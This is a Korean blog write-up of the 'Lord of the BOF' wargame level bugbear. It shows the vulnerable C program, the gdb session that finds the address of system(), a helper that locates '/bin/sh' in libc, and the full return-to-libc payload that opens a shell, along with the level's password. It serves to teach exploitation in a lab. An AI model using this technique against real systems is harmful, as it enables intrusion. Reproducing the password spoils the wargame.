728x90

darkknight / new attacker

[darkknight@localhost darkknight]$ cat bugbear.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - bugbear
        - RTL1
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] == '\xbf')
	{
		printf("stack betrayed you!!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);
}

RTL(Return To Library) 문제다.

공유 라이브러리 영역의 system 함수 주소로 return 하면서 인자로 /bin/sh을 전달하면 된다.

system함수를 쓸 수 있는 이유는 libc.so.6 공유 라이브러리에 printf 함수가 있기에 비록 코드에는 printf 함수만 쓰이지만 libc.so.6 공유 라이브러리가 로드되기 때문에 system 함수도 참조할 수 있다.

따라서 system("/bin/sh") 형태로 호출할 것이다.

bugbear을 복사 후 gdb로 실행한다.

(gdb) b main
Breakpoint 1 at 0x8048436
(gdb) r AAAA
Starting program: /home/darkknight/bugbear2 AAAA

Breakpoint 1, 0x8048436 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>

p는 print 명령의 약자다. system 함수의 주소는 0x40058ae0이다.

"/bin/sh" 문자열의 주소를 찾을 단계다. system 함수 주소 옆에 libc system이 보인다. libc는 stand C libraries로서 다양한 기본 함수들이 존재한다. system, printf 등등 말이다. 그리고 "/bin/sh" 문자열도 존재한다. 따라서 libc에서 문자열을 찾는데 시작 주소는 system 주소로 설정한다.

#include <stdio.h>
main(){
	long shell=0x40058ae0;
	while(memcmp((void*)shell,"/bin/sh",8))
		shell++;
	printf("%p\n",shell);
}

shell 변수에 system 함수의 주소를 넣고 "/bin/sh"을 찾을 때까지 shell 변수를 증가시켜 최종적으로 "/bin/sh" 문자열의 주소를 찾는다. memcmp 대신 strncmp를 사용해도 동일한 결과를 얻을 수 있다. memcmp와 strncmp 함수의 차이는 strncmp 함수는 널문자를 만나면 비교를 멈추는데 memcmp 함수는 널문자를 만나도 주어진 크기만큼 비교를 실시한다.

컴파일 후 실행한 결과는 다음과 같다.

[darkknight@localhost darkknight]$ gcc getaddr.c -o getaddr
[darkknight@localhost darkknight]$ ./getaddr
0x400fbff9

이제 payload를 전달해야 한다.

RTL 방식에서는 다음과 같이 payload를 구성한다.

buffer sfp ret addr
(system함수)
dummy system param
("/bin/sh")

main 함수의 retn 주소를 system 함수로 설정하고 "/bin/sh"을 system 함수의 인자로 줄 것이다.

system("/bin/sh") 형태로 함수를 실행하게 된다.

dummy가 들어가는 이유는 system 함수가 ebp+8 주소부터 인자로 받기 때문이다. 또한 dummy는 원래 system 함수 다음에 호출할 함수 주소가 들어간다. RTL Chain 방식에서 더 자세하게 알 수 있다. 지금은 system 함수만 호출하기 때문에 dummy로 설정한다. RTL의 동작 방식에 대해 구체적으로 알고 싶으면 다음의 링크를 참고하자.

https://kblab.tistory.com/218

 

Return To Library (RTL)

Return To Libray (RTL) 개념 NX Bit(Never Execute Bit)가 적용된 스택을 우회하기 위해서 사용되는 기법. * NX BitNX Bit는 프로세스 명령어나 코드 또는 데이터 저장을 위한 메모리 영역을 따로 분리하는 CPU의

kblab.tistory.com

[darkknight@localhost darkknight]$ ./bugbear `python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"AAAA"+"\xf9\xbf\x0f\x40"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAɀAAAA
bash$ my-pass
euid = 513
new divide

bugbear의 비밀번호는 new divide이다.

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

giant -> assassin  (0) 2023.02.01
bugbear -> giant  (0) 2023.02.01
golem -> darkknight  (0) 2023.01.26
skeleton -> golem  (0) 2023.01.25
vampire -> skeleton  (0) 2023.01.24

+ Recent posts